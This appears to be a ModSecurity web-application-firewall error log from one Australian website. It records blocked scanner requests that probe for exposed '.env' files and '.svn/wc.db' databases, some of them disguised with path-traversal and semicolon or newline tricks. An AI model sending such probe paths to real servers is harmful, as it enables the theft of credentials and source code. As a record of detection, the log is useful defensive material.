[Sun Nov 30 16:51:27.493285 2025] [:error] [pid 58704:tid 58714] [client 34.170.231.80:44056] [client 34.170.231.80] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aSwFj1gCdnbXMzbONnMVZgAAA4c"]
[Sun Nov 30 17:43:41.637294 2025] [:error] [pid 9375:tid 9424] [client 35.222.252.124:54296] [client 35.222.252.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "aSwRzd-EkWIUe87KIjP-ewAAA1Q"]
[Sun Nov 30 19:13:46.330327 2025] [:error] [pid 12554:tid 12573] [client 213.21.239.4:59198] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/admin/.svn/wc.db"] [unique_id "aSwm6j7q_kXd01TaAD90QwAAABE"]
[Sun Nov 30 19:13:46.332993 2025] [:error] [pid 12554:tid 12577] [client 213.21.239.4:59222] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/css../.svn/wc.db"] [unique_id "aSwm6j7q_kXd01TaAD90RAAAABU"]
[Sun Nov 30 19:13:46.334134 2025] [:error] [pid 9694:tid 9702] [client 213.21.239.4:59220] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/demo/.svn/wc.db"] [unique_id "aSwm6sNOaRChkzIC_nWjpgAAAMY"]
[Sun Nov 30 19:13:46.335572 2025] [:error] [pid 10550:tid 10591] [client 213.21.239.4:59278] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/AWSconf.svn/wc.db"] [unique_id "aSwm6ul_8Vq2nipf7mFRRAAAAow"]
[Sun Nov 30 19:13:46.336083 2025] [:error] [pid 9694:tid 9712] [client 213.21.239.4:59302] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/a/.svn/wc.db"] [unique_id "aSwm6sNOaRChkzIC_nWjpwAAANA"]
[Sun Nov 30 19:13:46.339566 2025] [:error] [pid 10518:tid 10523] [client 213.21.239.4:59196] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/wc.db"] [unique_id "aSwm6g8XjrhaEDJ0Rd_AZwAAAUI"]
[Sun Nov 30 19:13:46.340395 2025] [:error] [pid 10518:tid 10531] [client 213.21.239.4:59250] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/developer/.svn/wc.db"] [unique_id "aSwm6g8XjrhaEDJ0Rd_AaAAAAUo"]
[Sun Nov 30 19:13:46.342962 2025] [:error] [pid 12554:tid 12570] [client 213.21.239.4:59230] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand../wc.db"] [unique_id "aSwm6j7q_kXd01TaAD90RQAAAA4"]
[Sun Nov 30 19:13:46.343372 2025] [:error] [pid 12793:tid 12817] [client 213.21.239.4:59360] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/dev/.svn/wc.db"] [unique_id "aSwm6ssEgQeCVydJZ0guBwAAAFY"]
[Sun Nov 30 19:13:46.344773 2025] [:error] [pid 10607:tid 10612] [client 213.21.239.4:59336] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backup/.svn/wc.db"] [unique_id "aSwm6nMxNFmf1l9xA_GeUQAAAsI"]
[Sun Nov 30 19:13:46.344998 2025] [:error] [pid 12554:tid 12556] [client 213.21.239.4:59310] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/blog/.svn/wc.db"] [unique_id "aSwm6j7q_kXd01TaAD90RgAAAAA"]
[Sun Nov 30 19:13:46.346055 2025] [:error] [pid 10518:tid 10526] [client 213.21.239.4:59412] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/build/.svn/wc.db"] [unique_id "aSwm6g8XjrhaEDJ0Rd_AaQAAAUU"]
[Sun Nov 30 19:13:46.348518 2025] [:error] [pid 10518:tid 10540] [client 213.21.239.4:59264] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/content../.svn/wc.db"] [unique_id "aSwm6g8XjrhaEDJ0Rd_AagAAAVM"]
[Sun Nov 30 19:13:46.349701 2025] [:error] [pid 12554:tid 12578] [client 213.21.239.4:59368] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.svn/wc.db"] [unique_id "aSwm6j7q_kXd01TaAD90RwAAABY"]
[Sun Nov 30 19:13:46.352071 2025] [:error] [pid 58704:tid 58718] [client 213.21.239.4:59306] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-content/themes/.svn/wc.db"] [unique_id "aSwm6lgCdnbXMzbONnNFAwAAA4s"]
[Sun Nov 30 19:13:46.353150 2025] [:error] [pid 10607:tid 10623] [client 213.21.239.4:59304] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/assets../.svn/wc.db"] [unique_id "aSwm6nMxNFmf1l9xA_GeUgAAAs0"]
[Sun Nov 30 19:13:46.354308 2025] [:error] [pid 12554:tid 12564] [client 213.21.239.4:59374] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cms/.svn/wc.db"] [unique_id "aSwm6j7q_kXd01TaAD90SAAAAAg"]
[Sun Nov 30 19:13:46.355237 2025] [:error] [pid 9375:tid 9415] [client 213.21.239.4:59286] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/aomanalyzer/.svn/wc.db"] [unique_id "aSwm6t-EkWIUe87KIjMQNgAAA0s"]
[Sun Nov 30 19:13:46.355748 2025] [:error] [pid 9375:tid 9407] [client 213.21.239.4:59282] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/beta/.svn/wc.db"] [unique_id "aSwm6t-EkWIUe87KIjMQNwAAA0M"]
[Sun Nov 30 19:13:46.357388 2025] [:error] [pid 9375:tid 9405] [client 213.21.239.4:59344] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.svn/wc.db"] [unique_id "aSwm6t-EkWIUe87KIjMQOAAAA0E"]
[Sun Nov 30 19:13:46.359651 2025] [:error] [pid 10608:tid 10655] [client 213.21.239.4:59206] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/database/.svn/wc.db"] [unique_id "aSwm6uG4qpknNxmxP5d56QAAA9I"]
[Sun Nov 30 19:13:46.360704 2025] [:error] [pid 10608:tid 10649] [client 213.21.239.4:59406] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/data/.svn/wc.db"] [unique_id "aSwm6uG4qpknNxmxP5d56gAAA8w"]
[Sun Nov 30 19:13:46.361748 2025] [:error] [pid 12793:tid 12816] [client 213.21.239.4:59382] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/application/.svn/wc.db"] [unique_id "aSwm6ssEgQeCVydJZ0guCAAAAFU"]
[Sun Nov 30 19:13:46.363625 2025] [:error] [pid 9375:tid 9408] [client 213.21.239.4:59242] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/common/.svn/wc.db"] [unique_id "aSwm6t-EkWIUe87KIjMQOQAAA0Q"]
[Sun Nov 30 19:13:46.363726 2025] [:error] [pid 12793:tid 12804] [client 213.21.239.4:59394] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/amphtml/.svn/wc.db"] [unique_id "aSwm6ssEgQeCVydJZ0guCQAAAEk"]
[Sun Nov 30 19:13:49.747940 2025] [:error] [pid 10550:tid 10580] [client 213.21.239.4:59892] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand/.svn/wc.db"] [unique_id "aSwm7el_8Vq2nipf7mFRUwAAAoE"]
[Sun Nov 30 19:13:49.749170 2025] [:error] [pid 9375:tid 9425] [client 213.21.239.4:59974] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand/..;/.svn/wc.db"] [unique_id "aSwm7d-EkWIUe87KIjMQQgAAA1U"]
[Sun Nov 30 19:13:49.749190 2025] [:error] [pid 12554:tid 12570] [client 213.21.239.4:59948] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand/.svn/wc.db;.."] [unique_id "aSwm7T7q_kXd01TaAD90TgAAAA4"]
[Sun Nov 30 19:13:49.755969 2025] [:error] [pid 10550:tid 10593] [client 213.21.239.4:59914] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand/.svn/wc.db;"] [unique_id "aSwm7el_8Vq2nipf7mFRVAAAAo4"]
[Sun Nov 30 19:13:49.760279 2025] [:error] [pid 58704:tid 58723] [client 213.21.239.4:60150] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.svn/wc.db;.."] [unique_id "aSwm7VgCdnbXMzbONnNFCQAAA5A"]
[Sun Nov 30 19:13:49.760611 2025] [:error] [pid 10550:tid 10599] [client 213.21.239.4:60006] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/dot.svn/wc.db"] [unique_id "aSwm7el_8Vq2nipf7mFRVQAAApQ"]
[Sun Nov 30 19:13:49.761146 2025] [:error] [pid 58704:tid 58716] [client 213.21.239.4:60090] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au../.svn/wc.db"] [unique_id "aSwm7VgCdnbXMzbONnNFCgAAA4k"]
[Sun Nov 30 19:13:49.762313 2025] [:error] [pid 58704:tid 58708] [client 213.21.239.4:60182] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.svn;/wc.db"] [unique_id "aSwm7VgCdnbXMzbONnNFCwAAA4E"]
[Sun Nov 30 19:13:49.763761 2025] [:error] [pid 12554:tid 12568] [client 213.21.239.4:60220] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/static../.svn/wc.db"] [unique_id "aSwm7T7q_kXd01TaAD90UQAAAAw"]
[Sun Nov 30 19:13:49.769211 2025] [:error] [pid 10550:tid 10603] [client 213.21.239.4:60190] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand../.svn/wc.db"] [unique_id "aSwm7el_8Vq2nipf7mFRVgAAApg"]
[Sun Nov 30 19:13:49.773117 2025] [:error] [pid 10550:tid 10602] [client 213.21.239.4:60248] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.svn/%0Awc.db"] [unique_id "aSwm7el_8Vq2nipf7mFRVwAAApc"]
[Sun Nov 30 19:13:49.773187 2025] [:error] [pid 10607:tid 10615] [client 213.21.239.4:60322] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand/;/.svn/wc.db"] [unique_id "aSwm7XMxNFmf1l9xA_GeXQAAAsU"]
[Sun Nov 30 19:13:49.773289 2025] [:error] [pid 12554:tid 12575] [client 213.21.239.4:59960] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand/.svn;/wc.db"] [unique_id "aSwm7T7q_kXd01TaAD90UwAAABM"]
[Sun Nov 30 19:13:49.774089 2025] [:error] [pid 10607:tid 10628] [client 213.21.239.4:59986] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand/static../.svn/wc.db"] [unique_id "aSwm7XMxNFmf1l9xA_GeXgAAAtI"]
[Sun Nov 30 19:13:49.776225 2025] [:error] [pid 10607:tid 10627] [client 213.21.239.4:60098] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/..;/.svn/wc.db"] [unique_id "aSwm7XMxNFmf1l9xA_GeXwAAAtE"]
[Sun Nov 30 19:13:49.779051 2025] [:error] [pid 10607:tid 10629] [client 213.21.239.4:60028] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/events../.svn/wc.db"] [unique_id "aSwm7XMxNFmf1l9xA_GeYAAAAtM"]
[Sun Nov 30 19:13:49.782072 2025] [:error] [pid 10550:tid 10586] [client 213.21.239.4:60142] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand/wc.db"] [unique_id "aSwm7el_8Vq2nipf7mFRWQAAAoc"]
[Sun Nov 30 19:13:49.783790 2025] [:error] [pid 10550:tid 10600] [client 213.21.239.4:60066] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au../wc.db"] [unique_id "aSwm7el_8Vq2nipf7mFRWwAAApU"]
[Sun Nov 30 19:13:49.787945 2025] [:error] [pid 10550:tid 10581] [client 213.21.239.4:60074] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/wc.db"] [unique_id "aSwm7el_8Vq2nipf7mFRXAAAAoI"]
[Sun Nov 30 19:13:49.788602 2025] [:error] [pid 10607:tid 10634] [client 213.21.239.4:60196] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/;/.svn/wc.db"] [unique_id "aSwm7XMxNFmf1l9xA_GeYQAAAtg"]
[Sun Nov 30 19:13:49.789419 2025] [:error] [pid 58704:tid 58718] [client 213.21.239.4:60326] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.svn/%0Awc.db"] [unique_id "aSwm7VgCdnbXMzbONnNFDwAAA4s"]
[Sun Nov 30 19:13:49.791054 2025] [:error] [pid 12554:tid 12569] [client 213.21.239.4:60132] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.svn/wc.db"] [unique_id "aSwm7T7q_kXd01TaAD90VQAAAA0"]
[Sun Nov 30 19:13:49.794421 2025] [:error] [pid 12554:tid 12563] [client 213.21.239.4:60160] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand/.svn/%0Awc.db"] [unique_id "aSwm7T7q_kXd01TaAD90VwAAAAc"]
[Sun Nov 30 19:13:49.802360 2025] [:error] [pid 9375:tid 9404] [client 213.21.239.4:60356] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.svn/wc.db;"] [unique_id "aSwm7d-EkWIUe87KIjMQQwAAA0A"]
[Sun Nov 30 19:13:49.806732 2025] [:error] [pid 12554:tid 12574] [client 213.21.239.4:60316] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/flock/.svn/wc.db"] [unique_id "aSwm7T7q_kXd01TaAD90WQAAABI"]
